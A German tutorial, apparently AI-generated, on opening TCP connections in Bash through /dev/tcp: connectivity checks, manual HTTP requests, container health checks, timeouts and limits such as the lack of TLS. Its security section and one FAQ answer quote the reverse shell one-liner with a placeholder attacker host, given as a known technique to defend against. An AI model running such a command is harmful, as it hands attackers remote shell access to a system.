/dev/tcp in Bash: TCP-Verbindungen ohne curl oder netcat
AI generated
$_
#!/
Bash · Netzwerk · Linux · Pseudo-Device
/dev/tcp in Bash
TCP-Verbindungen öffnen, ohne ein einziges externes Tool zu installieren

Bash kann TCP-Sockets öffnen, HTTP-Requests von Hand zusammenbauen und Ports testen, ganz ohne curl, wget oder netcat, über das eingebaute Pseudo-Device /dev/tcp. Wer die Mechanik dahinter versteht, kann minimale Container und restriktive Umgebungen absichern, muss aber auch die klaren Grenzen kennen: kein TLS, kein UDP mit echter Rückmeldung, keine Header-Kontrolle wie bei einem echten HTTP-Client.

16 Min. Lesezeit /dev/tcp · exec · Dateideskriptoren Bash 4.x · 5.x · Linux

1. Was /dev/tcp ist und wie Bash es einbindet

/dev/tcp ist kein echter Pfad im Dateisystem, sondern ein Pseudo-Device, das ausschließlich innerhalb von Bash selbst existiert. Sobald der Parser beim Interpretieren einer Umleitung einen Pfad erkennt, der mit /dev/tcp/HOST/PORT oder /dev/udp/HOST/PORT beginnt, greift Bash nicht auf das echte Dateisystem zu, sondern öffnet intern über die Socket-API des Kernels eine Verbindung zu Host und Port und stellt das Ergebnis als gewöhnlichen Dateideskriptor bereit. Das ls /dev/tcp zeigt entsprechend auch nichts an, weil der Pfad rein syntaktisch von Bash abgefangen wird.

Diese Funktion muss beim Kompilieren von Bash aktiviert worden sein, was bei praktisch allen Standard-Distributionen wie Debian, Ubuntu, Alpine mit Bash-Paket und macOS der Fall ist, aber nicht bei jedem minimalen oder gehärteten Build garantiert ist. Wer /dev/tcp in einem Skript verwendet, das auf unbekannten Zielsystemen laufen soll, sollte deshalb vorher prüfen, ob die Funktion überhaupt verfügbar ist, statt sich blind darauf zu verlassen, dass jede Bash-Installation sie mitbringt.


#!/usr/bin/env bash
set -euo pipefail

# Check whether this Bash build actually supports /dev/tcp before relying on it
if (exec 3<>/dev/tcp/127.0.0.1/1 2>/dev/null); then
  echo "/dev/tcp is supported"
else
  echo "/dev/tcp is NOT supported on this Bash build" >&2
fi

2. Eine TCP-Verbindung mit exec und Dateideskriptoren öffnen

Der übliche Weg, eine Verbindung aufzubauen, ist exec in Kombination mit einer benutzerdefinierten Dateideskriptor-Nummer, üblicherweise 3 oder höher, weil 0, 1 und 2 für Standard-Ein-/Ausgabe und Fehlerausgabe reserviert sind. Der Ausdruck exec 3<>/dev/tcp/example.com/80 öffnet den Socket sowohl zum Lesen als auch zum Schreiben auf demselben Deskriptor, was für die meisten Request-Response-Protokolle wie HTTP genau das richtige Verhalten ist, weil ein einzelner Deskriptor für beide Richtungen genügt.

Schlägt die Verbindung fehl, etwa weil der Zielport keinen Listener hat, bricht exec mit einer Fehlermeldung wie Connection refused auf der Standardfehlerausgabe ab und liefert einen von null verschiedenen Exit-Status. Wichtig ist, diesen Status auch tatsächlich zu prüfen, denn ohne set -e oder eine explizite Prüfung läuft ein Skript nach einem gescheiterten Verbindungsversuch einfach mit einem ungültigen Dateideskriptor weiter, was zu kryptischen Folgefehlern bei jedem späteren Lese- oder Schreibversuch führt.


#!/usr/bin/env bash
set -uo pipefail

if exec 3<>/dev/tcp/example.com/80; then
  echo "Connected to example.com:80 on fd 3"
else
  echo "Connection failed" >&2
  exit 1
fi

exec 3>&-  # close the write side
exec 3<&-  # close the read side

3. Einen HTTP-Request von Hand über /dev/tcp bauen

Weil /dev/tcp nur einen rohen Byte-Strom liefert, muss das komplette HTTP-Protokoll von Hand geschrieben werden: die Request-Zeile mit Methode, Pfad und Protokollversion, gefolgt von den nötigen Headern, mindestens Host, weil viele Server ohne diesen Header mit einem Fehler antworten, und einer abschließenden Leerzeile, die laut HTTP-Spezifikation das Ende der Header markiert. Der komplette Request wird mit printf statt echo geschrieben, weil printf das Zeilenende-Format \r\n zuverlässig erzeugt, das HTTP zwingend vorschreibt.

Die Antwort liest man anschließend zeilenweise mit read oder komplett mit cat <&3, wobei zu beachten ist, dass die Statuszeile, die Header und der Body durch dieselbe Leerzeile getrennt sind wie im Request. Für einfache Zwecke wie das Prüfen des HTTP-Statuscodes reicht es, nur die erste Zeile der Antwort auszulesen und mit einem regulären Ausdruck den Code zu extrahieren, statt die komplette Antwort zu parsen, was den Skriptcode deutlich kürzer und robuster hält.


#!/usr/bin/env bash
set -euo pipefail

readonly HOST="example.com"
readonly PORT="80"

exec 3<>/dev/tcp/"$HOST"/"$PORT"

printf 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n' "$HOST" >&3

read -r status_line <&3
echo "Status: $status_line"

# Read remaining headers until the blank line separating headers and body
while IFS= read -r header && [[ -n "${header%$'\r'}" ]]; do
  echo "Header: $header"
done <&3

exec 3>&-
exec 3<&-

4. Praktische Einsatzszenarien: Verbindungstests und Health-Checks

Der stärkste praktische Nutzen von /dev/tcp zeigt sich in minimalen Container-Images, die bewusst keine zusätzlichen Binärdateien wie curl oder netcat installiert haben, um die Angriffsfläche und Image-Größe klein zu halten. In einem Distroless- oder Alpine-Image ohne diese Tools bleibt Bash oft das einzige verfügbare Werkzeug, mit dem sich prüfen lässt, ob eine Datenbank, ein Cache oder ein Backend-Service bereits auf seinem Port lauscht, bevor der eigentliche Anwendungsprozess startet.

Ein klassisches Muster dafür ist ein Wartezyklus, der wiederholt versucht, eine Verbindung zu einem Zielport aufzubauen, und erst fortfährt, sobald der Verbindungsaufbau gelingt. Solche Skripte werden häufig in Docker-Entrypoints oder Kubernetes-Init-Containern eingesetzt, um sicherzustellen, dass abhängige Dienste bereitstehen, bevor die Hauptanwendung startet, und ersetzen damit externe Wartetools wie wait-for-it.sh, die selbst wieder von nc abhängen würden.


#!/usr/bin/env bash
set -uo pipefail

wait_for_port() {
  local host="$1" port="$2" retries="${3:-30}"
  local i=0
  until (exec 3<>/dev/tcp/"$host"/"$port") 2>/dev/null; do
    ((i++))
    if (( i >= retries )); then
      echo "Timed out waiting for $host:$port" >&2
      return 1
    fi
    sleep 1
  done
  echo "$host:$port is reachable"
}

wait_for_port "database" 5432

5. Timeouts und Fehlerbehandlung bei /dev/tcp-Verbindungen

Bash bringt für /dev/tcp keine eingebaute Timeout-Option mit, weil der Verbindungsaufbau letztlich ein gewöhnlicher connect()-Systemaufruf ist, der je nach Netzwerklage lange hängen kann, etwa wenn ein Firewall-Paketfilter Pakete stillschweigend verwirft statt sie aktiv abzulehnen. Ohne zusätzliche Absicherung kann ein Skript deshalb minutenlang blockieren, bis das Betriebssystem selbst einen internen Timeout auslöst, was für automatisierte Health-Checks inakzeptabel lang ist.

Die zuverlässige Lösung ist, den gesamten Verbindungsversuch in eine Subshell zu packen und diese mit dem externen Kommando timeout zu begrenzen, weil timeout den Prozess nach Ablauf der Frist hart per Signal beendet. Wichtig ist dabei, zwischen drei unterschiedlichen Fehlerarten zu unterscheiden: einem sofortigen Connection refused bei einem geschlossenen Port, einem Name or service not known bei einem DNS-Fehler, und einem stillen Hängenbleiben, das nur timeout zuverlässig beendet.


#!/usr/bin/env bash
set -uo pipefail

readonly HOST="internal-service"
readonly PORT="8080"

if timeout 3 bash -c "exec 3<>/dev/tcp/$HOST/$PORT" 2>/dev/null; then
  echo "Reachable within 3 seconds"
else
  code=$?
  if (( code == 124 )); then
    echo "Timed out after 3 seconds" >&2
  else
    echo "Connection failed (exit $code)" >&2
  fi
fi

6. Grenze Nummer eins: kein TLS und kein HTTPS

Die wichtigste Einschränkung von /dev/tcp ist, dass es ausschließlich rohe, unverschlüsselte TCP-Verbindungen öffnet. Es gibt in Bash keinen eingebauten TLS-Stack, keine Zertifikatsprüfung und keine Möglichkeit, einen TLS-Handshake durchzuführen, weil das eine vollständige kryptografische Implementierung erfordern würde, die niemand vernünftigerweise in eine Shell einbauen würde. Ein Versuch, mit /dev/tcp direkt auf Port 443 einer HTTPS-Seite zuzugreifen, öffnet zwar den TCP-Socket erfolgreich, liefert aber nur unlesbaren, verschlüsselten Datenmüll zurück, sobald ein Byte gesendet oder gelesen wird.

Wer dennoch verschlüsselt kommunizieren muss, kann openssl s_client als externen TLS-Terminator vorschalten und die entschlüsselten Daten darüber austauschen, verliert damit aber genau den Vorteil, den /dev/tcp eigentlich bieten sollte: völlige Unabhängigkeit von externen Programmen. Für alles, was echte Verschlüsselung braucht, etwa das Abfragen einer produktiven API, ist /dev/tcp deshalb grundsätzlich die falsche Wahl, und Zugangsdaten dürfen niemals über eine unverschlüsselte /dev/tcp-Verbindung übertragen werden.

7. Grenze Nummer zwei: /dev/udp und fehlende Low-Level-Kontrolle

Neben /dev/tcp existiert auch /dev/udp, doch weil UDP als verbindungsloses Protokoll konzipiert ist, liefert das bloße Öffnen keinerlei Aussage darüber, ob am Ziel überhaupt ein Dienst lauscht. Ein exec 3<>/dev/udp/host/port gelingt praktisch immer, unabhängig davon, ob der Port belegt ist, weil der Kernel beim UDP-Verbindungsaufbau kein Handshake-Paket erwartet. Für echte Erreichbarkeitsprüfungen ist /dev/udp deshalb weitgehend nutzlos, es sei denn, das Zielprotokoll selbst antwortet aktiv auf eine gesendete Nachricht.

Auch bei TCP fehlt /dev/tcp jede Kontrolle über Socket-Optionen wie Keep-Alive-Intervalle, Puffergrößen oder Nagle-Algorithmus, die eine echte Netzwerkbibliothek konfigurierbar macht. Es gibt keine Unterstützung für Verbindungs-Multiplexing wie bei HTTP/2, keine automatische Wiederverwendung von Verbindungen und keine Möglichkeit, mehrere gleichzeitige Verbindungen effizient in einem einzigen Bash-Prozess zu verwalten, weil jede Verbindung einen eigenen blockierenden Dateideskriptor belegt.

8. Sicherheitsaspekte: /dev/tcp als zweischneidiges Werkzeug

Dieselbe Eigenschaft, die /dev/tcp praktisch macht, nämlich dass jede Bash-Installation ohne zusätzliche Software eine Netzwerkverbindung öffnen kann, macht es auch zu einem beliebten Baustein für sogenannte Reverse Shells, bei denen ein kompromittiertes System eine ausgehende Verbindung zu einem Angreifer aufbaut. Sicherheitsteams kennen das Muster bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 als eine der bekanntesten Techniken überhaupt, weshalb manche gehärteten Umgebungen Bash bewusst ohne Netzwerkunterstützung kompilieren oder ausgehenden Traffic von Bash-Prozessen per Egress-Filter blockieren.

Für produktive Skripte bedeutet das zweierlei: Erstens sollte /dev/tcp nur für interne, vertrauenswürdige Verbindungsprüfungen eingesetzt werden, niemals um sensible Daten an externe Ziele zu senden. Zweitens lohnt sich in sicherheitskritischen Umgebungen ein Blick darauf, ob die eigene Bash-Version /dev/tcp überhaupt unterstützt, denn ihr Fehlen kann in einem Monitoring-Kontext ein Hinweis auf eine bewusst gehärtete, also vertrauenswürdigere Laufzeitumgebung sein.

9. Wann sich /dev/tcp lohnt und wann curl oder netcat die bessere Wahl sind

Als Faustregel gilt: /dev/tcp lohnt sich genau dann, wenn eine minimale Umgebung ohne zusätzliche Pakete auskommen muss und die Anforderung sich auf eine einfache Erreichbarkeitsprüfung oder einen simplen, unverschlüsselten HTTP-Request beschränkt. Sobald TLS, Redirects, Cookies, Authentifizierung, Datei-Uploads oder eine robuste Fehlerbehandlung mit Retry-Logik gebraucht werden, ist curl fast immer die bessere Wahl, weil es diese Fälle bereits fertig implementiert hat und deutlich weniger fehleranfälligen Code im eigenen Skript erfordert. Netcat wiederum eignet sich besser für interaktive Sitzungen und beliebige Binärprotokolle jenseits von HTTP, wo mehr Kontrolle über den rohen Datenstrom gebraucht wird.

Werkzeug TLS/HTTPS Verfügbarkeit Typischer Einsatz
/dev/tcp (Bash) Nein In Bash eingebaut, kein Zusatzpaket Minimale Container, einfache Health-Checks
curl Ja Meist nachinstallieren nötig HTTP-Requests, APIs, Redirects, Auth
netcat (nc) Nein (nativ) Meist nachinstallieren nötig Rohe Binärprotokolle, interaktive Sessions
wget Ja Meist nachinstallieren nötig Datei-Downloads, Rekursion
openssl s_client Ja Meist vorhanden mit openssl TLS-Handshakes manuell prüfen

Mironsoft

Shell-Automatisierung, DevOps-Tooling und Deployment-Infrastruktur

Shell-Skripte, die in der Produktion zuverlässig laufen?

Wir analysieren bestehende Bash-Skripte, erkennen fragile Muster und ersetzen sie durch robuste Bash-Patterns: mit vollständiger Fehlerbehandlung, Logging und sicherer Parallelisierung für euren Deployment-Stack.

Code-Review

ShellCheck-Analyse und manuelle Prüfung auf kritische Bash-Pattern-Verstöße.

Refactoring

Fehlerbehandlung, Logging und sichere Dateioperationen nachrüsten.

CI-Integration

ShellCheck und BATS in Pipelines integrieren und Regressionstests aufbauen.

10. Zusammenfassung

/dev/tcp in Bash: Das Wichtigste auf einen Blick

Grundprinzip

/dev/tcp/HOST/PORT wird von Bash beim Parsen einer Umleitung abgefangen und öffnet intern einen echten TCP-Socket, ganz ohne externes Tool.

Verbindung öffnen

exec 3<>/dev/tcp/host/port belegt einen freien Dateideskriptor, der sowohl zum Lesen als auch zum Schreiben genutzt werden kann.

Wichtigste Grenze

Kein TLS, kein HTTPS, kein Zertifikats-Handling. Für alles Verschlüsselte bleiben curl oder openssl s_client die richtige Wahl.

Timeout Pflicht

Ohne den externen timeout-Befehl kann ein Verbindungsversuch bei stillen Firewalls minutenlang hängen bleiben.

11. FAQ: /dev/tcp in Bash: Das Wichtigste auf einen Blick

1Ist /dev/tcp in jeder Bash-Installation verfügbar?
Nein. Die Funktion muss beim Kompilieren aktiviert worden sein. Die meisten Standard-Distributionen bringen sie mit, gehärtete oder minimale Builds können sie aber deaktiviert haben. Ein kurzer Testaufruf vor dem produktiven Einsatz zeigt, ob die Unterstützung vorhanden ist.
2Kann ich mit /dev/tcp HTTPS-Seiten abrufen?
Nicht direkt. /dev/tcp öffnet nur eine unverschlüsselte TCP-Verbindung, es gibt keinen eingebauten TLS-Stack. Für HTTPS bräuchte man zusätzlich openssl s_client als TLS-Terminator, was die Unabhängigkeit von externen Tools wieder aufhebt.
3Warum sollte ich printf statt echo für den HTTP-Request verwenden?
printf erzeugt zuverlässig das von HTTP geforderte Zeilenende \r\n, während echo je nach Shell-Implementierung und Optionen unterschiedliches Verhalten zeigt. Für protokollkonformes HTTP ist printf die robustere Wahl.
4Wie erkenne ich, dass ein Verbindungsversuch fehlgeschlagen ist?
exec bricht bei einem fehlgeschlagenen Verbindungsaufbau mit einem von null verschiedenen Exit-Status ab und schreibt eine Fehlermeldung wie Connection refused auf die Standardfehlerausgabe. Diesen Status sollte man immer explizit prüfen.
5Warum hängt mein Skript manchmal minutenlang bei /dev/tcp?
Wenn eine Firewall Pakete stillschweigend verwirft statt sie aktiv abzulehnen, wartet der zugrunde liegende connect()-Aufruf auf eine Antwort, die nie kommt. Ohne den externen timeout-Befehl gibt es dafür keine eingebaute Begrenzung.
6Ist /dev/udp für Erreichbarkeitsprüfungen geeignet?
Kaum. Da UDP verbindungslos ist, gelingt das Öffnen von /dev/udp fast immer, unabhängig davon, ob am Ziel ein Dienst lauscht. Für echte Erreichbarkeitsprüfungen ist /dev/tcp deutlich aussagekräftiger.
7Warum wird /dev/tcp mit Reverse Shells in Verbindung gebracht?
Weil jede Bash-Installation ohne Zusatzsoftware eine ausgehende Netzwerkverbindung öffnen kann, ist bash -i >& /dev/tcp/ip/port 0>&1 eine bekannte Angriffstechnik. Deshalb deaktivieren manche gehärteten Systeme die Funktion bewusst.
8Sollte ich /dev/tcp in Produktionsskripten verwenden?
Für einfache, interne Erreichbarkeitsprüfungen ohne sensible Daten ist es geeignet. Sobald Authentifizierung, Verschlüsselung oder komplexe Fehlerbehandlung gebraucht werden, ist curl die robustere und wartbarere Wahl.
9Wie viele gleichzeitige Verbindungen kann ich mit /dev/tcp offen halten?
Technisch begrenzt nur die Anzahl verfügbarer Dateideskriptoren, praktisch wird der Code aber schnell unübersichtlich, weil jede Verbindung einen eigenen blockierenden Deskriptor und eigene Fehlerbehandlung braucht. Für viele parallele Verbindungen ist ein echtes Werkzeug besser geeignet.
10Funktioniert /dev/tcp auch in der Zsh oder anderen Shells?
Nein, /dev/tcp ist eine Bash-spezifische Erweiterung. Andere Shells wie Zsh, Dash oder POSIX sh unterstützen dieses Pseudo-Device nicht, auch wenn manche zsh-Module ähnliche Funktionen über eigene Erweiterungen nachbilden.